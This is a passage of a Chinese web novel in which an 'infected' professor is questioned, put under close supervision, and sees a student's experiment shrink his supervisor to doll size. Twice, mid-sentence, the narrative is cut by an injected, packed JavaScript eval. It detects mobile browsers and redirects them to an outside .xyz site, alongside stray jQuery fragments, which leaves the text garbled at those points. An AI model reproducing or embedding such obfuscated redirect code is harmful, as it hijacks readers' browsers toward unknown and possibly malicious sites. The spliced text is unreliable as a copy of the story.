《监管我，垂怜我》 3. 近身监管 下午三点半，霍行之醒了。 他发现自己躺在准备室里，衣服已经穿好在身上。顾洵没在跟前。 霍行之的第一反应是自己的评估出了问题，但转念一想，出问题的话他不可能被放上来，所以事情没严重到那地步。 那么只剩下一个可能。 叩叩。 准备室的门被推开一半，顾戎探进个脑袋，对霍行之笑了笑，“霍顾问你醒了。” 准备室有监控，所以顾戎可以踩点过来。 “嗯，出什么事了吗？”霍行之问。 顾戎的笑脸一下垮了下来。他把房门全部推开，门外还站着一个高大的陌生男人，黑西装黑墨镜，粗壮得很。 顾戎：“这位是监委会的。你刚禁闭结束的时候，监委会就通知你跟顾监管去接受问询，具体的事由我不知道。顾监管把你带上来后就被带去了留置区，已经去了两个小时。这位一直在这边等着你醒，然后带你过去。” “好的，我知道了。” 霍行之没什么别的表情，他站起来穿上外套，又问顾戎，“我这次的评估如何？” “是正常的，具体数据报告我已经发给顾监管了。” “好的，谢谢。” 霍行之对那个黑墨镜一点头，“劳驾。” - 问询室跟外头监察系统的谈话室一样，没有窗户、墙角布列监控、软包墙壁跟桌椅，连支笔都是软硅胶的。 房间不大，层高又低，一般人在这种环境下很容易产生巨大的心理压力。 霍行之没有。他坐下后先开了口，问别人有没有吃的。 “我将近九个小时没进食，而且才结束了禁闭，真的很饿。” [不要让感染者保持长时间饥饿。] 这是写进恶刑部通用手册里的注意事项。更何况对面坐着的是个一级管束人员。 霍行之顺利地得到了一杯水和一块三明治，慢条斯理吃完后，开始接受问询。 果然是因为王校长。 这位新校长外强中干，在霍行之他们走后半小时就出现了轻度恶化反应，虽然被及时安息，但还是发了一通高烧，直接病休了。 这事儿很快被捅到了监委会。不仅是霍行之跟顾洵被问询，连乔岩和其他院长们也被要求交一份报告来。 然而监委会问询的目的不在于替王校长“讨回公道”，而是借题发挥，剑指恶刑部管束不严。 “恶刑部有严格规制你行为的措施吗？” “恶刑部是否以书面形式告知过你对待普通人同事的行为准则？” “你认为恶刑部的现有规定，是否能避免此类情况再次发生？” 恨不能撬开霍行之的牙齿，让他吐出一句“今天失控全是恶刑部约束不利的错”。 可惜，怀柔也好，疾言厉色也罢，霍行之一以贯之地温和微笑，并表示：这次事件的发生，症结在于新校长看不出恶化反应，甚至还不听劝告，贸然触碰感染者。 “七院虽然是个教育单位，但也是除七处以外的第二个感染者聚集地，里面还有不少恶生研究相关的原材料。贸然放一个一无所知的普通人进来，还是担当校长这样重要的位置，我认为是恶刑部的决策失误。” 问询人员得到了关于恶刑部的差评，却一点没觉得高兴，因为谁都知道这个决策的到底是谁拍板的。 霍行之滑不留手，问询人员很快放弃了。他们离开了问询室，把霍行之一个人留在里边。 霍行之也不着急，靠在椅背上闭目养神。 半个小时后，问询人员进来把霍行之带了出去。 外头的走廊里站着不少人，监委会的，七处的，还有顾洵。 顾洵就在门边，霍行之出来后第一个看到他。他递过来一部手机和一颗指环，都是霍行之问询前存放的东西。 “谢谢小顾。” 霍行之笑了笑，把指环戴在左手食指上，手机放回兜之前看了下时间，已经下午快六点了。 不远处的人堆里也走过来两个，一个监委会的，一个七处的。 说话的是监委会的。 “依据……作出以下决定：由监管员对你进行为期半个月的近身监管，期间如果再次发生引发普通人恶化反应的事件，将对你进行为期一周的禁闭。” 所谓近身监管，就是监管员同吃同住，不能离开监管员感知范围内。同时还有管束装置的下限提高，并且可以由监管员主观触发。 或许对其他管束人员来说，近身监管如芒在背，寝食难安。但对霍行之来说倒算不得什么事。 “我知道了。那我们现在可以走了吗？”他问。 监委会的皱起眉，像是不满意霍行之的反应。但旁边七处的倒是点点头，笑了一下说，“嗯，霍顾问你们可以走了。” 霍行之对他点点头，带着顾洵走了。 · 霍行之的宿舍没有在七院的职工宿舍区，而是在散落在教学区的一幢红砖小楼里。小楼有快百年的历史，带一个小花园，一楼是两间办公室，二楼是三间宿舍，二楼外头有一个走廊。 霍行之住在最里头的那间。 宿舍不大，一室一厅带厨卫。因为东西实在算不上多，所以看上去还算整洁。 “你自己看看今晚睡哪儿。地铺或者沙发。” 霍行之开了空调，回卧室去换衣服。出来的时候穿了一身柔软的T恤和短裤，手里还拿着一套，给顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16007462|178361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洵。 “你是不是没拿换洗的衣服？” 他才记起这茬，刚才拿的时候没拿内裤。 顾洵点了下头，“一会去超市买。” 霍行之有些不想动，“明天再去吧，我先给你找条新的对付下。洗漱的也都拆新的，都在柜子里。” 顾洵没有意见，在后头问：“教授，晚上你想吃什么？” 霍行之：“你看着弄。” 两个人吃了一锅番茄鸡蛋面。 霍行之今天太累，洗漱完后就去睡了。顾洵收拾了厨房，铺了沙发，然后才去洗澡。他洗得挺久，长发也没有吹，怕吵到霍行之。出来后关了灯，坐在卧室门前的地板上。 呼……呼…… 他感官灵敏，隔着门板也能听到霍行之平缓的呼吸声。听着让他平静。等到长发自然干透，他就到沙发上睡。 第二天一早，顾洵起来做了早饭，然后跟霍行之一起去学校超市买生活用品和换洗衣物。 霍行之今天的状态恢复了，心情也挺好，还不忘给顾洵买了两袋太妃糖跟巧克力。 顾洵嗜甜，这是他的“锚点”。 霍行之跟顾洵说，“这半个月你想去哪儿就跟我说。” 因为霍行之过于稳定，顾洵在七处还兼任了侦查队和审讯组的工作。没办法，高等级的感染者不多，高等级的监管员更是凤毛麟角，七处就非常不要脸地逮着顾洵薅羊毛。不过顾洵没抱怨过，霍行之也就没说什么。 这次的近身监管，变相来说就是给顾洵放假。 顾洵看了霍行之一眼，“我没有想去的地方。教授呢？” 霍行之想了一下，说：“我知道一个民宿可以避暑，感染者开的。人很少，你应该会习惯。” 虽然霍行之才是“危险分子”，但他们走到外头，顾洵才是会被异样眼光看待的那个。 顾洵的嘴角抿了个很乖的浅笑，点点头，“好。” 两个人买了东西回宿舍。 霍行之今天没有课程安排，本来打算跟顾洵布置下家里，至少弄个顾洵能睡的地方，总不能半个月都睡沙发。 结果还没到午饭，霍行之的指环就震动了起来，然后指环上转出个细小的黄褐色眼球，眨着眼朝某个方向看。 “这是……”霍行之很轻地皱眉。 顾洵偏头感知两秒，说：“恶化反应，应该是实验楼那边。” 霍行之那张八风不动的脸破了功，“最近的那栋？” 顾洵看他一眼，“直线三百米那栋。教授？” 哎。霍行之叹气，“药学院的实验楼。” 他把手里的东西放回去，有气无力地说道：“走吧，去看看又是哪个家伙在灵机一动。” 4. “小”顾 药学院有一幢专门的实验楼，楼不大，但带了一个非常大的院子。院子里有十几个种植大棚，里头的任何一株东西拿出去都能触发恶化反应警报。 但七院里这类东西可不少，植物的、动物的、菌类的……乱七八糟的都有，因此七院对恶化反应的警报阈值比外头高得多。 比如现在实验楼跟前一片安静，连安保都没有被惊动。 也是这时候，霍行之才发觉了不对头。 他看了眼还在眨眼睛的指环，反应过来，“昨天他们碰过我的东西吗？” 顾洵：“不清楚，我出来后您已经在接受问询了。怎么了？” “小事。” 霍行之用拇指碰了下食指的指环，指环的眼睛吐出一片卡片大的白色屏幕，像是一片白色菌丝织就的薄布，又像是一片虚幻的云。 屏幕上头有一些扭曲的字迹，那是一种只有深度感染者才能看懂的文字。 霍行之敲了几下白色屏幕，证实了自己的猜想。 “指环的感应阈值设置被还原了。” 霍行之把数值重新调高，白色屏幕收回去后，指环上的细小眼球也闭上了。 “七院里经常会有恶化反应，说起来，这半个月你最好适应一下……算了，还是别适应，不然等半个月结束，你还得重新适应回去。如果你感知到什么反应，问我就好，反正这半个月你都跟我在一起。” 顾洵抿唇“嗯”了一声，又问：“我们还进去吗？” “进。来都来了，去给这些家伙紧紧皮。” “他们不听话？” 霍行之无奈笑了一下，“不，很听话，只是做实验搞研究难免会触发很多未知的事情。” 然后霍行之的奖金就会为此付出代价。 不过这些都是小事。霍行之有些头疼，但不至于因此就限制学生的想象力。 反应发生在二楼，研究生的试验区。 霍行之的脑袋里已经冒出了一个名字。敲开门，果然是那张预想的脸。 “窦斗。你又在做什么？” 被叫窦斗的是个年轻男人，长了一脸雀斑，有一双和顾戎雷同的杏眼，圆溜溜的，里头装满了活力四射的光。 “老师——嘶，顾监管。” 窦斗看到顾洵像是耗子见到猫，一秒原地立正，把龇起的大白牙都收了回去。 霍行之看得好笑，“怎么你对小顾比对我还尊敬？” 窦斗干笑，“哪有，一样尊敬，一样尊敬。” 霍行之走进去，扫了眼实验室，目光落在另一个人身上，“这是？” 窦斗：“哦，这是安迪，这一届的新生，对恶生植物很有天赋，家里也是做这门生意的。他带来了一点新奇的东西，我就说带他一起来……创新一下。” 最后四个字因为心虚而降低了音量。 “……”霍行之温和地看着窦斗，噙着浅浅的笑，“去年你让我被扣掉了三千块的奖金，你还记得，对吧？” 窦斗继续干笑，“老师，这次真的是个小实验，而且真的很有趣，马上就好了。不然你跟顾监管也在这里瞅瞅？” “你倒机灵，拉我跟小顾当你的保镖？”霍行之乜他一眼，倒也真的留下来了，“速度，我们还没吃午饭呢。” 窦斗立刻兴奋起来，转身手在虚空一抓，抓住一道透明的帘子扯开，空无一物的房间里就出现了一个一米见方的立方体。 立方体是透明的，里头是一株富贵竹一样的东西，蓝紫色，枝干扭曲成一团，看上去像是一棵缩小的大树。 霍行之的眉心一跳。 这是一棵非常眼熟的树，如果压缩成平面再褪色，就是恶刑部执行徽章上的纹样：通天树。 通天树是一百多年前的传说，据说是一棵可以实现任何愿望的神树，但后来被污染，实现愿望的方式恶化，从而导致了一次大规模感染，恶刑部也应运而生。 至今，“不要许愿”依旧是恶刑部手册的第一条。 霍行之的头又开始疼了，“通天树，小实验？” 窦斗举手发誓：“不不不，只是形似……当然也确实是奔着它去的，但那只是完美预想效果，而且恶化值控制在五级以下，绝对不会有恶性后果。” 霍行之皱着眉，在窦斗那圆溜溜的眼睛渴望注视下，点头了。 主要原因在于，“许愿”在恶生世界有特殊意义，人为的定向许愿几乎等同于造神。 他觉得窦斗的试验不可能成功。 然而。 当窦斗倒下最后一剂药水，立方体里的大树开始疯狂生长，枝叶充斥了实验室，并在枝干结出果子的时候，霍行之的指环开始了疯狂震动。 霍行之就知道完了，窦斗这只瞎猫还真碰到了死耗子。 那就是一瞬间的事。 霍行之看到顾洵出现在他跟前，想要护住他；顾洵身后，枝叶上的红色果子全部坠落，在空中破裂，甩出密集的石榴一样的籽；这些籽跟大树又一起消散，变成粉红色的雾。 又在破裂的同时安息。 砰！ 霍行之在雾中倒下，意识随之沉寂到了时光的逆流中。 - 霍行之在医务室醒来，时间也才过去了半小时不到。床跟前站着三个人，窦斗、安迪还有乔岩。 “哟，醒啦。” 乔岩先看到霍行之，便推开窦斗走到床边，弯腰问：“有哪儿出问题没？” 霍行之定定看了他两秒，然后像是才回神，“做了个梦。” “哦，那指定不是梦，他俩都记起胎盘里的事了。”乔岩指了下旁边站着的窦斗跟安迪。 两人这会像是淋雨的鹌鹑，缩着脑袋没敢吭声，看上去像是害怕下一秒霍行之就把他们给撕了。 霍行之先没收拾这俩，他坐起来先看了一圈，问：“小顾呢？” 乔岩偏了下头，“你右边。” 霍行之转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16007463|178361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头去看，没看着什么。但立刻又听到顾洵的声音从下边传来。 “教授。我在这。” 霍行之低头，视线掠过床头柜，余光瞥到什么，又立马转回去。然后就看到了顾洵。 迷你版的顾洵。比旁边的水杯高一点，身上没穿衣服，腰上用回形针别了截纸巾；长发也披散着，银灰色的头发及腰长。 唯一跟随顾洵一起缩小的，只有他手指上的通讯指环。 顾洵的左手抓着腰间的回形针，仰头望着霍行之，一张小脸上还是没什么表情。 “……” 霍行之愣了两秒，然后弯腰靠近了桌上的手办小人，看清后确认道：“小顾？” 顾洵：“嗯。” 霍行之：“……” 乔岩在一边忍不住地乐，跟霍行之说了下他发现的情况：“你家大弟子搞的那破实验把安保警报都干废了，不过还好就0.01秒，七处那边打电话问了下，我给你塞过去了。 “反正我跟安保到实验室的时候，你们仨全部昏睡，你身上搭着顾洵的衣服鞋袜。本来我还以为顾洵没了，结果没两秒他就从自己衣裳里头钻了出来。” 乔岩摊手，“当时钻出来就是这模样了，你别说还挺可爱。” “……” 霍行之转头去看罪魁祸首。那俩小鹌鹑缩得更紧了。 窦斗举手发誓：“老师，我真的不知道为什么会这样，我们都没许这个愿，真的！” 安迪都不敢说话，看上去快被吓哭了。 霍行之无奈，对窦斗说：“去把你试验的材料列表，附上样品一起给我拿过来。” 窦斗如蒙大赦，“好的，老师！”然后拽了一把安迪，两个人一起跑了。 霍行之又去看顾洵，问：“小顾你有什么异常的感觉吗？” 顾洵：“没有。就是都缩小了，包括天赋覆盖范围。所以之后要麻烦您随时把我带着，避免触发监管警报。” 霍行之哭笑不得，“你现在该操心的是这个吗？万一变不回去了怎么办？” 顾洵没说话。 霍行之又怕真的吓到他，就说，“等窦斗把样品拿过来，我就带你去七处化验检查一下。放心，肯定能变回来。” 顾洵：“嗯。” 乔岩看得津津有味，问霍行之：“你觉不觉得他现在特别像那种手办小娃娃，就是特别贵那种。诶你别说，你可以直接买那些衣服给他穿。” 霍行之这才意识到这些事。 乔岩：“还有吃饭，他现在这身板，一颗米就能吃饱了吧？睡觉也不占地方。不过上厕所怎么办？他从客厅到厕所得百米冲刺吧，哈哈。” “……” 霍行之看了乔岩一眼，“你仔细小顾恢复了之后揍你。” 乔岩理直气壮，“我这是合理推断，你们就说我刚才说的那些实不实际吧？” 霍行之跟顾洵都沉默了。 你还真别说。